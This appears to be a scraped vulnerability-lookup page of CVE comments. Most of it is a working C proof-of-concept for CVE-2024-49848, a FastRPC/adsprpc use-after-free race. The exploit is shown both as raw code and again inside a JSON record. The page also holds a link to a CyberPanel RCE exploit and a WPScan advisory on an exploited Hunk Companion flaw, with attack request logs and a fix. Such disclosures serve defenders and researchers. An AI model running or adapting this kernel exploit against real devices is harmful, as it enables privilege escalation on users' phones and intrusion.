printf("mapping...\n");
fflush(stdout);
value_loc = mmap(NULL,0x2000,PROT_READ | PROT_WRITE,MAP_PRIVATE,heap_data.fd,0);
pid_t pid;
if(!(pid = fork())) {
thread_inv(NULL);
exit(0);
}
// pthread_create(&tid_inv,NULL,&thread_inv,NULL);
unsigned long spoof_map = 0x2000;
uint64_t vaddrouts[1024];
unsigned top = 0;
do {
struct fastrpc_ioctl_mem_map mmap_struct = {
.m = {
.flags = 0,
.fd = heap_data.fd,
.length = 0x2000,
.attrs = 0,
.vaddrin = spoof_map,
.vaddrout = 0,
.offset = 0,
}
};
spoof_map += 0x2000;
unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
printf("mem_map loop: %lx 0x%lx\n",ioret,mmap_struct.m.vaddrout);
vaddrouts[top] = mmap_struct.m.vaddrout;
} while (vaddrouts[top++]);
// struct fastrpc_ioctl_mem_map mmap_struct = {
// .m = {
// .flags = 0,
// .fd = heap_data.fd,
// .length = 0x1000,
// .attrs = 0,
// .vaddrin = value_loc,
// .offset = 0,
// }
// };
// //pthread_barrier_wait(&barrier);
// unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
// printf("mem_map1: %lx 0x%lx\n",ioret,mmap_struct.m.vaddrout);
// struct fastrpc_ioctl_mem_unmap unmap_struct = {
// .um = {
// .fd = heap_data.fd,
// .length = 0x1000,
// .vaddr = mmap_struct.m.vaddrout
// }
// };
// ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct);
// printf("mem_unmap1: %lx\n",ioret);
unsigned first = true;
while(1) {
struct fastrpc_ioctl_mem_map mmap_struct = {
.m = {
.flags = FASTRPC_MAP_FD_NOMAP,
.fd = heap_data.fd,
.length = 0x1000,
.attrs = FASTRPC_ATTR_KEEP_MAP,
.vaddrin = value_loc,
.offset = -1,
}
};
pthread_barrier_wait(barrier);
unsigned long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
printf("mem_map2: %lx\n",ret);
fflush(stdout);
struct fastrpc_ioctl_munmap_fd final_munmap = {
.fd = heap_data.fd,
.flags = 0,
.len = 0x1000,
.va = 0
};
unsigned long final_ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MUNMAP_FD,&final_munmap);
printf("munmap fd: %lx %m\n",final_ret);
pthread_barrier_wait(barrier);
if(*(unsigned*)&barrier[1]) {
break;
}
if(first && fgetc(stdin) == 'n') {
kill(pid,SIGKILL);
exit(0);
}
first = false;
}
// pthread_join(tid_int,NULL);
// pthread_join(tid_inv,NULL);
// for(unsigned i = 0; i < top; i++)
// {
// struct fastrpc_ioctl_mem_unmap unmap_struct = {
// .um = {
// .fd = heap_data.fd,
// .length = 0x2000,
// .vaddr = vaddrouts[i],
// }
// };
// unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct);
// if(ioret)
// printf("unexpected unmap fail %lx %m\n",ioret);
// }
// while(1) sleep(1);
return 0;
// struct fastrpc_ioctl_mmap mmap_struct2 = {
// .fd = -1,
// .flags = ADSP_MMAP_HEAP_ADDR,
// .vaddrin = 0,
// .size = 0x1000
// };
// ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MMAP,&mmap_struct2);
// if(ret < 0)
// {
// printf("ret mmap: %lx %m\n",ret);
// }
// printf("vaddrout: %lx %m\n",mmap_struct2.vaddrout);
}
JSON{ uuid: "23fd524b-475e-4b9f-8dc2-7b67f4cec409", vulnerability_lookup_origin: "1a89b78e-f703-45f3-bb86-59eb712668bd", title: "FASTRPC_ATTR_KEEP_MAP logic bug allows fastrpc_internal_munmap_fd to concurrently free in-use mappings leading to UAF", description: "Ref: [https://project-zero.issues.chromium.org/issues/42451725](https://project-zero.issues.chromium.org/issues/42451725)\n\n~~~\n#include \"adsprpc_shared.h\"\n#include <fcntl.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/wait.h>\n#include <linux/dma-heap.h>\n#include <sys/mman.h>\n#include <errno.h>\n#include <pthread.h>\n#include <signal.h>\n\n#define FASTRPC_MODE_UNSIGNED_MODULE 8\n#define FASTRPC_STATIC_HANDLE_PROCESS_GROUP (1)\n#define FASTRPC_STATIC_HANDLE_DSP_UTILITIES (2)\n#define FASTRPC_STATIC_HANDLE_LISTENER (3)\n#define FASTRPC_STATIC_HANDLE_CURRENT_PROCESS (4)\nint dma_heap;\nint adsprpc_fd;\nint create_and_init_adsprpc()\n{\n int adsprpc_fd = open(\"/dev/adsprpc-smd\",O_RDONLY);\n if(adsprpc_fd == -1) {\n printf(\"open: %m\\n\");\n return -1;\n }\n unsigned cid = 3;\n long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_GETINFO,&cid);\n int shell_fd = open(\"/data/local/tmp/fastrpc_shell_unsigned_3\",O_RDONLY);\n if(shell_fd == -1) {\n printf(\"open shell: %m\\n\");\n return -1;\n }\n dma_heap = open(\"/dev/dma_heap/system\",O_RDONLY);\n if(dma_heap == -1) {\n printf(\"open dma_heap: %m\\n\");\n return -1;\n }\n struct dma_heap_allocation_data heap_data = {\n .len = 0x131000,\n .fd_flags = O_RDWR,\n };\n ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);\n if( ret < 0 || heap_data.fd < 0)\n {\n printf(\"dma heap allocation fail: %d %d %m\\n\",ret,heap_data.fd);\n return -1;\n }\n void* shell_file_dma = mmap(NULL,0x131000,PROT_READ | PROT_WRITE, MAP_SHARED,heap_data.fd,0);\n long length = read(shell_fd,shell_file_dma,0x131000);\n if(length <= 0) {\n printf(\"read: %d %m\\n\",ret);\n return -1;\n }\n close(shell_fd);\n struct fastrpc_ioctl_init_attrs init = {\n .init = {\n .file = shell_file_dma,\n .filefd = heap_data.fd,\n .filelen = length,\n .mem = 0,\n .flags = FASTRPC_INIT_CREATE,\n },\n .attrs = FASTRPC_MODE_UNSIGNED_MODULE\n };\n ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INIT_ATTRS,&init);\n if(ret < 0)\n {\n printf(\"init_attrs: %d %m\\n\",ret);\n return -1;\n }\n return adsprpc_fd;\n}\npthread_barrier_t* barrier;\npthread_t tid_inv,tid_int;\nunsigned long* value_loc;\nstruct dma_heap_allocation_data heap_data = {\n .len = 0x10000,\n .fd_flags = O_RDWR,\n};\nvoid handler(int signo, siginfo_t *info, void* context) {\n return;\n}\nsig_atomic_t jobid = 0;\nlong submit_job() {\n unsigned value = 255;\n unsigned out_values[256] = {0};\n struct fastrpc_ioctl_invoke_async ioctl_arg;\n remote_arg_t ra[2];\n ra[0].buf.pv = (void *)&value;\n ra[0].buf.len = sizeof(value);\n ra[1].buf.pv = (void *)(&out_values[1]);\n ra[1].buf.len = value * sizeof(uint32_t);\n ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS;\n ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1);\n ioctl_arg.inv.pra = ra;\n ioctl_arg.fds = NULL;\n ioctl_arg.attrs = NULL;\n ioctl_arg.crc = NULL;\n ioctl_arg.perf_kernel = NULL;\n ioctl_arg.perf_dsp = NULL;\n ioctl_arg.job = NULL;\n ioctl_arg.job = malloc(sizeof(*ioctl_arg.job));\n ioctl_arg.job->isasyncjob = 1;\n ioctl_arg.job->jobid = jobid++;\n struct fastrpc_ioctl_invoke2 inv;\n inv.invparam = &ioctl_arg;\n inv.req = FASTRPC_INVOKE2_ASYNC;\n inv.size = sizeof(struct fastrpc_ioctl_invoke_async);\n\n long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv);\n printf(\"submit job ret: %lx %m\\n\",ret);\n return ret;\n}\nvoid* thread_inv(void* arg) {\n while(1) {\n //Need to replace value with & new map on other thread\n unsigned value = 255;\n unsigned out_values[256] = {0};\n long ret;\n //Not using submit_job() to increase race precision\n struct fastrpc_ioctl_invoke_async ioctl_arg;\n remote_arg_t ra[2];\n ra[0].buf.pv = (void *)0;\n ra[0].buf.len = sizeof(value);\n ra[1].buf.pv = (void *)(&out_values[1]);\n ra[1].buf.len = value * sizeof(uint32_t);\n ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS;\n ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1);\n ioctl_arg.inv.pra = ra;\n ioctl_arg.fds = calloc(REMOTE_SCALARS_LENGTH(ioctl_arg.inv.sc),sizeof(int));\n ioctl_arg.fds[0] = heap_data.fd;\n ioctl_arg.fds[1] = -1;\n ioctl_arg.attrs = NULL;\n ioctl_arg.crc = NULL;\n ioctl_arg.perf_kernel = NULL;\n ioctl_arg.perf_dsp = NULL;\n ioctl_arg.job = malloc(sizeof(*ioctl_arg.job));\n ioctl_arg.job->isasyncjob = 1;\n ioctl_arg.job->jobid = jobid++;\n struct fastrpc_ioctl_invoke2 inv;\n inv.invparam = &ioctl_arg;\n inv.req = FASTRPC_INVOKE2_ASYNC;\n inv.size = sizeof(struct fastrpc_ioctl_invoke_async);\n close(heap_data.fd);\n pthread_barrier_wait(barrier);\n ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv);\n printf(\"job submit: %ld %m\\n\",ret);\n fflush(stdout);\n if(!ret) {\n *((unsigned*) &barrier[1]) = 1;\n pthread_barrier_wait(barrier);\n exit(0);\n }\n pthread_barrier_wait(barrier);\n\n }\n\n \n return NULL;\n}\n\nint main() {\n adsprpc_fd = create_and_init_adsprpc();\n if(adsprpc_fd == -1) {\n printf(\"failed to open adsprpc...\\n\");\n return 1;\n }\n barrier = mmap(NULL,0x1000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS,0,0);\n pthread_barrierattr_t attr;\n pthread_barrierattr_init(&attr);\n pthread_barrierattr_setpshared(&attr,PTHREAD_PROCESS_SHARED);\n pthread_barrier_init(barrier,&attr,2);\n //pthread_create(&tid_int,NULL,&thread_interrupt,NULL);\n\n int ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);\n if( ret < 0 || heap_data.fd < 0)\n {\n printf(\"dma heap allocation fail: %d %d %m\\n\",ret,heap_data.fd);\n return -1;\n }\n\n // for(unsigned i = 0; i < 1022; i++) {\n // if(submit_job() < 0) {\n // printf(\"failed to submit a job at i = %u\\n\",i);\n // exit(0);\n // }\n // }\n printf(\"mapping...\\n\");\n fflush(stdout);\n value_loc = mmap(NULL,0x2000,PROT_READ | PROT_WRITE,MAP_PRIVATE,heap_data.fd,0);\n pid_t pid;\n if(!(pid = fork())) {\n thread_inv(NULL);\n exit(0);\n }\n // pthread_create(&tid_inv,NULL,&thread_inv,NULL);\n\n unsigned long spoof_map = 0x2000;\n uint64_t vaddrouts[1024];\n unsigned top = 0;\n do {\n struct fastrpc_ioctl_mem_map mmap_struct = {\n .m = {\n .flags = 0,\n .fd = heap_data.fd,\n .length = 0x2000,\n .attrs = 0,\n .vaddrin = spoof_map,\n .vaddrout = 0,\n .offset = 0,\n }\n };\n spoof_map += 0x2000;\n unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);\n printf(\"mem_map loop: %lx 0x%lx\\n\",ioret,mmap_struct.m.vaddrout);\n vaddrouts[top] = mmap_struct.m.vaddrout;\n } while (vaddrouts[top++]);\n // struct fastrpc_ioctl_mem_map mmap_struct = {\n // .m = {\n // .flags = 0,\n // .fd = heap_data.fd,\n // .length = 0x1000,\n // .attrs = 0,\n // .vaddrin = value_loc,\n // .offset = 0,\n // }\n // };\n // //pthread_barrier_wait(&barrier);\n // unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);\n // printf(\"mem_map1: %lx 0x%lx\\n\",ioret,mmap_struct.m.vaddrout);\n // struct fastrpc_ioctl_mem_unmap unmap_struct = {\n // .um = {\n // .fd = heap_data.fd,\n // .length = 0x1000,\n // .vaddr = mmap_struct.m.vaddrout\n // }\n // };\n // ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct);\n // printf(\"mem_unmap1: %lx\\n\",ioret);\n unsigned first = true;\n while(1) {\n struct fastrpc_ioctl_mem_map mmap_struct = {\n .m = {\n .flags = FASTRPC_MAP_FD_NOMAP,\n .fd = heap_data.fd,\n .length = 0x1000,\n .attrs = FASTRPC_ATTR_KEEP_MAP,\n .vaddrin = value_loc,\n .offset = -1,\n }\n };\n pthread_barrier_wait(barrier);\n unsigned long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);\n printf(\"mem_map2: %lx\\n\",ret);\n fflush(stdout);\n struct fastrpc_ioctl_munmap_fd final_munmap = {\n .fd = heap_data.fd,\n .flags = 0,\n .len = 0x1000,\n .va = 0\n };\n unsigned long final_ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MUNMAP_FD,&final_munmap);\n printf(\"munmap fd: %lx %m\\n\",final_ret);\n pthread_barrier_wait(barrier);\n if(*(unsigned*)&barrier[1]) {\n break;\n }\n if(first && fgetc(stdin) == 'n') {\n kill(pid,SIGKILL);\n exit(0);\n }\n first = false;\n }\n // pthread_join(tid_int,NULL);\n // pthread_join(tid_inv,NULL);\n \n\n // for(unsigned i = 0; i < top; i++)\n // {\n // struct fastrpc_ioctl_mem_unmap unmap_struct = {\n // .um = {\n // .fd = heap_data.fd,\n // .length = 0x2000,\n // .vaddr = vaddrouts[i],\n // }\n // };\n // unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct);\n // if(ioret)\n // printf(\"unexpected unmap fail %lx %m\\n\",ioret);\n // }\n // while(1) sleep(1);\n return 0;\n // struct fastrpc_ioctl_mmap mmap_struct2 = {\n // .fd = -1,\n // .flags = ADSP_MMAP_HEAP_ADDR,\n // .vaddrin = 0,\n // .size = 0x1000\n // };\n // ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MMAP,&mmap_struct2);\n // if(ret < 0)\n // {\n // printf(\"ret mmap: %lx %m\\n\",ret);\n // }\n // printf(\"vaddrout: %lx %m\\n\",mmap_struct2.vaddrout);\n\n}\n~~~", description_format: "markdown", vulnerability: "CVE-2024-49848", creation_timestamp: "2024-12-18T13:24:38.041835+00:00", timestamp: "2024-12-18T13:25:07.723264+00:00", related_vulnerabilities: [], meta: [ { tags: [ "vulnerability:exploitability=documented", "vulnerability:information=PoC", "vulnerability:information=annotation", ], }, ], }
cve-2024-49848
PoC and details for CyberPanel on cve-2024-53376
3 months ago by Alexandre Dulaunoy
JSON{ uuid: "5d1aa981-8c34-43d5-bc8f-afcd585d782a", vulnerability_lookup_origin: "1a89b78e-f703-45f3-bb86-59eb712668bd", title: "PoC and details for CyberPanel", description: "- [ CyberPanel authenticated RCE < 2.3.8 ](https://github.com/ThottySploity/CVE-2024-53376)", description_format: "markdown", vulnerability: "cve-2024-53376", creation_timestamp: "2024-12-17T05:27:57.023081+00:00", timestamp: "2024-12-17T05:27:57.023081+00:00", related_vulnerabilities: [ "CVE-2024-53376", ], meta: [ { tags: [ "vulnerability:exploitability=documented", "vulnerability:information=PoC", ], }, ], }
cve-2024-53376
Unauthorized Plugin Installation/Activation in Hunk Companion | WPScan on cve-2024-11972
3 months ago by Alexandre Dulaunoy
Unauthorized Plugin Installation/Activation in Hunk Companion | WPScan
Ref: https://wpscan.com/blog/unauthorized-plugin-installation-activation-in-hunk-companion/
This report highlights a vulnerability in the Hunk Companion plugin < 1.9.0 that allows unauthenticated POST requests to install and activate plugins directly from the WordPress.org repository.
This flaw poses a significant security risk, as it enables attackers to install vulnerable or closed plugins, which can then be exploited for attacks such as Remote Code Execution (RCE), SQL Injection, Cross‑Site Scripting (XSS), or even the creation of administrative backdoors. By leveraging these outdated or unmaintained plugins, attackers can bypass security measures, manipulate database records, execute malicious scripts, and gain unauthorized administrative access to the site.
Method of Exploitation
While tracing an infection on a WordPress site, we uncovered a live vulnerability currently being exploited in a two‑step process:
- Unauthenticated Installation/Activation: Attackers exploit a flaw to install and activate the now‑closed and vulnerable plugin, WP Query Console
- Remote Code Execution (RCE): The vulnerability in WP Query Console is then exploited to evaluate arbitrary and malicious PHP code.
In the infections we’ve analyzed, attackers use the RCE to write a PHP dropper to the site’s root directory. This dropper allows continued unauthenticated uploads via GET requests, enabling persistent backdoor access to the site.
Investigation
The vulnerability was uncovered during an investigation into the entry point for an infection caused by its exploitation. Access logs revealed that the change timestamp
of a randomly named PHP file located in the root of the WordPress installation (/htdocs/aea74fff3c02.php
) was preceded by requests to the following endpoints:
- Time: Nov 27, 2024 @ 08:21:41.812
- request_url: /aea74fff3c02.php
- httpuseragent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2735.76 Safari/537.36
- request_type: GET
- Time: Nov 27, 2024 @ 08:21:41.561
- requesturl: /?restroute=/wqc/v1/query
- httpuseragent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2735.76 Safari/537.36
- request_type: POST
- Time: Nov 27, 2024 @ 08:21:40.354
- request_url: /wp-json/hc/v1/themehunk-import
- httpuseragent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2735.76 Safari/537.36
- request_type: POST
- Time: Nov 27, 2024 @ 08:21:08.151
- request_url: /wp-json/hc/v1/themehunk-import
- httpuseragent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2735.76 Safari/537.36
- request_type: POST
Further investigation revealed that the plugins responsible for these endpoints are Hunk Companion and WP Query Console, respectively. Each observed infection’s modification times aligned with POST requests to these same endpoints.
The Remote Code Execution (RCE) vulnerability in WP Query Console, reported under CVE‑2024‑50498, remains unpatched. Meanwhile, the unauthenticated plugin installation/activation vulnerability in Hunk Companion was reportedly fixed in version 1.8.5 and greater, as documented in CVE‑2024‑9707.
Upon further review, we confirmed that this infection did, in fact, occur with the latest version of Hunk Companion at that time, 1.8.7, indicating that the vulnerability had persisted in the current version.
Code Analysis
An analysis of the code responsible for the themehunk‑import
endpoint revealed the vulnerability being exploited.
Within the file hunk‑companion/import/core/class‑installation.php
, the class HUNK_COMPANION_SITES_BUILDER_SETUP
is executed by the endpoint and handles plugin installation and activation.
On line 204, the following code demonstrates that the WordPress.org URL is hardcoded, restricting installations to plugins hosted on the WordPress.org repository:
$temp_file = download_url('https://downloads.wordpress.org/plugin/'.$slug.'.zip');
However, this URL allows the download of plugins, even if they have been closed or removed from the repository. This behavior introduces a significant vector for exploitation, enabling attackers to install vulnerable plugins.
The vulnerability stems from the weakness found in hunk‑companion/import/app/app.php
:
register_rest_route( 'hc/v1', 'themehunk-import', array(
'methods' => 'POST',
'callback' => array( $this, 'tp_install' ),
'permission_callback' => function () {
// Check if the user is logged in
if ( ! is_user_logged_in() ) {
//return new WP_REST_Response( 'Unauthorized: User not logged in', 401 );
}
// Debug: Log the user role and capabilities to see what they have
$current_user = wp_get_current_user();
// error_log( 'Current user: ' . $current_user->user_login );
// error_log( 'User roles: ' . implode( ', ', $current_user->roles ) );
// error_log( 'User capabilities: ' . print_r( $current_user->allcaps, true ) );
// Ensure the user has the 'install_plugins' capability
if ( ! current_user_can( 'install_plugins' ) ) {
return new WP_REST_Response( 'Unauthorized: Insufficient capabilities', 401 );
}
// Get the nonce from the request header
$nonce = $request->get_header('X-WP-Nonce');
// Verify the nonce
if ( ! wp_verify_nonce( $nonce, 'hc_import_nonce' ) ) {
return new WP_REST_Response( 'Unauthorized: Invalid nonce', 401 );
}
return true; // Permission granted
},
) );
Lines 28‑59 register the REST API route for themehunk‑import
. In version 1.8.5, the plugin author introduced a permission_callback
to restrict access. However, for permission_callback
to work correctly, it must return a boolean (false
to reject requests, true
to accept) or a WP_Error
object.
In this case, failed conditions return new WP_REST_Response
, which is not a boolean or WP_Error
. As a result, the permission_callback
always evaluates to true
, allowing unauthenticated requests to bypass the intended checks. This flaw enables the execution of the tp_install
function, which invokes the HUNK_COMPANION_SITES_BUILDER_SETUP
class, leading to the installation and activation of arbitrary plugins.
Recommended Fix
To address this issue, the themehunk‑import
and ai‑site‑import
endpoints needed to be patched. Specifically, the return statements for failed conditions needed to be changed. For example, replace:
return new WP_REST_Response( 'Unauthorized: User not logged in', 401 );
With:
return new WP_Error( 'unauthorized', __( 'You must be logged in.' ), array( 'status' => 401 ) );
This change ensures the permission_callback
correctly denies unauthorized requests, mitigating the vulnerability.
As of 1.9.0, the author implemented the necessary patch, and we have confirmed that the exploit is no longer present.
Conclusion
This vulnerability represents a significant and multifaceted threat, targeting sites that use both a ThemeHunk theme and the Hunk Companion plugin. With over 10,000 active installations, this exposed thousands of websites to anonymous, unauthenticated attacks capable of severely compromising their integrity.
What makes this attack particularly dangerous is its combination of factors—leveraging a previously patched vulnerability in Hunk Companion to install a now‑removed plugin with a known Remote Code Execution flaw. The chain of exploitation underscores the importance of securing every component of a WordPress site, especially third‑party themes and plugins, which can become critical points of entry for attackers.
As WordPress remains the most popular content management system in the world, such vulnerabilities serve as a stark reminder of the ongoing challenges in maintaining site security. It’s imperative for developers, site owners, and plugin authors alike to adopt proactive measures, such as regularly updating plugins and themes, auditing for known vulnerabilities, and disabling unused or unnecessary extensions.
Timeline
Nov 27th, 2024 – Internal discovery of this vulnerability. We reported issue to Hunk Companion
Dec 10th, 2024 – Hunk Companion confirms acknowledges issue and releases a patch.
Dec 10th, 2024 – We published this advisory.
The PoC will be displayed on January 14, 2025, to give users the time to update.
Credits
Original research: Daniel Rodriguez
Acknowledgments: Special thanks to the WPScan team and Ashley Robicheau for feedback, help, and corrections.
JSON{ uuid: "5e1cc667-8f06-4cde-b167-203c95a1038c", vulnerability_lookup_origin: "1a89b78e-f703-45f3-bb86-59eb712668bd", title: "Unauthorized Plugin Installation/Activation in Hunk Companion | WPScan", description: "# Unauthorized Plugin Installation/Activation in Hunk Companion | WPScan\n\nRef: https://wpscan.com/blog/unauthorized-plugin-installation-activation-in-hunk-companion/\n\nThis report highlights a vulnerability in the [Hunk Companion plugin](https://wordpress.org/plugins/hunk-companion/) < 1.9.0 that allows unauthenticated POST requests to install and activate plugins directly from the WordPress.org repository.\n\nThis flaw poses a significant security risk, as it enables attackers to install vulnerable or closed plugins, which can then be exploited for attacks such as Remote Code Execution (RCE), SQL Injection, Cross‑Site Scripting (XSS), or even the creation of administrative backdoors. By leveraging these outdated or unmaintained plugins, attackers can bypass security measures, manipulate database records, execute malicious scripts, and gain unauthorized administrative access to the site.\n\nMethod of Exploitation\n----------------------\n\nWhile tracing an infection on a WordPress site, we uncovered a live vulnerability currently being exploited in a two‑step process:\n\n1. **Unauthenticated Installation/Activation**: Attackers exploit a flaw to install and activate the now‑closed and vulnerable plugin, [WP Query Console](https://wordpress.org/plugins/wp-query-console/)\n2. **Remote Code Execution (RCE)**: The vulnerability in WP Query Console is then exploited to evaluate arbitrary and malicious PHP code.\n\nIn the infections we’ve analyzed, attackers use the RCE to write a PHP dropper to the site’s root directory. This dropper allows continued unauthenticated uploads via GET requests, enabling persistent backdoor access to the site.\n\nInvestigation\n-------------\n\nThe vulnerability was uncovered during an investigation into the entry point for an infection caused by its exploitation. Access logs revealed that the `change timestamp` of a randomly named PHP file located in the root of the WordPress installation (`/htdocs/aea74fff3c02.php`) was preceded by requests to the following endpoints:\n\n\n\n* Time: Nov 27, 2024 @ 08:21:41.812\n * request_url: /aea74fff3c02.php\n * http_user_agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2735.76 Safari/537.36\n * request_type: GET\n* Time: Nov 27, 2024 @ 08:21:41.561\n * request_url: /?rest_route=/wqc/v1/query\n * http_user_agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2735.76 Safari/537.36\n * request_type: POST\n* Time: Nov 27, 2024 @ 08:21:40.354\n * request_url: /wp-json/hc/v1/themehunk-import\n * http_user_agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2735.76 Safari/537.36\n * request_type: POST\n* Time: Nov 27, 2024 @ 08:21:08.151\n * request_url: /wp-json/hc/v1/themehunk-import\n * http_user_agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2735.76 Safari/537.36\n * request_type: POST\n\n\nFurther investigation revealed that the plugins responsible for these endpoints are **Hunk Companion** and **WP Query Console**, respectively. Each observed infection’s modification times aligned with POST requests to these same endpoints.\n\nThe Remote Code Execution (RCE) vulnerability in WP Query Console, reported under [CVE‑2024‑50498](https://www.cve.org/CVERecord?id=CVE-2024-50498), remains unpatched. Meanwhile, the unauthenticated plugin installation/activation vulnerability in Hunk Companion was reportedly fixed in version 1.8.5 and greater, as documented in [CVE‑2024‑9707](https://www.cve.org/CVERecord?id=CVE-2024-9707).\n\nUpon further review, we confirmed that this infection did, in fact, occur with the latest version of Hunk Companion at that time, 1.8.7, indicating that the vulnerability had persisted in the current version.\n\nCode Analysis\n-------------\n\nAn analysis of the code responsible for the `themehunk‑import` endpoint revealed the vulnerability being exploited.\n\nWithin the file `hunk‑companion/import/core/class‑installation.php`, the class `HUNK_COMPANION_SITES_BUILDER_SETUP` is executed by the endpoint and handles plugin installation and activation.\n\nOn line 204, the following code demonstrates that the WordPress.org URL is hardcoded, restricting installations to plugins hosted on the WordPress.org repository:\n\n```\n$temp_file = download_url('https://downloads.wordpress.org/plugin/'.$slug.'.zip');\n\n```\n\n\nHowever, this URL allows the download of plugins, even if they have been closed or removed from the repository. This behavior introduces a significant vector for exploitation, enabling attackers to install vulnerable plugins.\n\nThe vulnerability stems from the weakness found in `hunk‑companion/import/app/app.php`:\n\n```\n register_rest_route( 'hc/v1', 'themehunk-import', array(\n 'methods' => 'POST',\n 'callback' => array( $this, 'tp_install' ),\n 'permission_callback' => function () {\n // Check if the user is logged in\n if ( ! is_user_logged_in() ) {\n //return new WP_REST_Response( 'Unauthorized: User not logged in', 401 );\n }\n\n // Debug: Log the user role and capabilities to see what they have\n $current_user = wp_get_current_user();\n // error_log( 'Current user: ' . $current_user->user_login );\n // error_log( 'User roles: ' . implode( ', ', $current_user->roles ) );\n // error_log( 'User capabilities: ' . print_r( $current_user->allcaps, true ) );\n\n // Ensure the user has the 'install_plugins' capability\n if ( ! current_user_can( 'install_plugins' ) ) {\n return new WP_REST_Response( 'Unauthorized: Insufficient capabilities', 401 );\n }\n\n // Get the nonce from the request header\n $nonce = $request->get_header('X-WP-Nonce');\n\n // Verify the nonce\n if ( ! wp_verify_nonce( $nonce, 'hc_import_nonce' ) ) {\n return new WP_REST_Response( 'Unauthorized: Invalid nonce', 401 );\n }\n\n return true; // Permission granted\n},\n\n ) );\n\n```\n\n\nLines 28‑59 register the REST API route for `themehunk‑import`. In version 1.8.5, the plugin author introduced a `permission_callback` to restrict access. However, for [`permission_callback`](https://developer.wordpress.org/rest-api/extending-the-rest-api/adding-custom-endpoints/#permissions-callback) to work correctly, it must return a boolean (`false` to reject requests, `true` to accept) or a `WP_Error` object.\n\nIn this case, failed conditions return `new WP_REST_Response`, which is not a boolean or `WP_Error`. As a result, the `permission_callback` always evaluates to `true`, allowing unauthenticated requests to bypass the intended checks. This flaw enables the execution of the `tp_install` function, which invokes the `HUNK_COMPANION_SITES_BUILDER_SETUP` class, leading to the installation and activation of arbitrary plugins.\n\n### Recommended Fix\n\nTo address this issue, the `themehunk‑import` and `ai‑site‑import` endpoints needed to be patched. Specifically, the return statements for failed conditions needed to be changed. For example, replace:\n\n```\nreturn new WP_REST_Response( 'Unauthorized: User not logged in', 401 );\n\n```\n\n\nWith:\n\n```\nreturn new WP_Error( 'unauthorized', __( 'You must be logged in.' ), array( 'status' => 401 ) );\n\n```\n\n\nThis change ensures the `permission_callback` correctly denies unauthorized requests, mitigating the vulnerability.\n\nAs of 1.9.0, the author implemented the necessary patch, and we have confirmed that the exploit is no longer present.\n\nConclusion\n----------\n\nThis vulnerability represents a significant and multifaceted threat, targeting sites that use both a [ThemeHunk theme](https://profiles.wordpress.org/themehunk/#content-themes) and the Hunk Companion plugin. With over 10,000 active installations, this exposed thousands of websites to anonymous, unauthenticated attacks capable of severely compromising their integrity.\n\nWhat makes this attack particularly dangerous is its combination of factors—leveraging a previously patched vulnerability in Hunk Companion to install a now‑removed plugin with a known Remote Code Execution flaw. The chain of exploitation underscores the importance of securing every component of a WordPress site, especially third‑party themes and plugins, which can become critical points of entry for attackers.\n\nAs WordPress remains the most popular content management system in the world, such vulnerabilities serve as a stark reminder of the ongoing challenges in maintaining site security. It’s imperative for developers, site owners, and plugin authors alike to adopt proactive measures, such as regularly updating plugins and themes, auditing for known vulnerabilities, and disabling unused or unnecessary extensions.\n\nTimeline\n--------\n\n**Nov 27th, 2024** – Internal discovery of this vulnerability. We reported issue to Hunk Companion\n\n**Dec 10th, 2024** – Hunk Companion confirms acknowledges issue and releases a patch.\n\n**Dec 10th, 2024** – We published this advisory.\n\n_The PoC will be displayed on January 14, 2025, to give users the time to update._\n\nCredits\n-------\n\nOriginal research: Daniel Rodriguez\n\n**Acknowledgments**: Special thanks to the WPScan team and Ashley Robicheau for feedback, help, and corrections.", description_format: "markdown", vulnerability: "CVE-2024-11972", creation_timestamp: "2024-12-15T06:47:50.105587+00:00", timestamp: 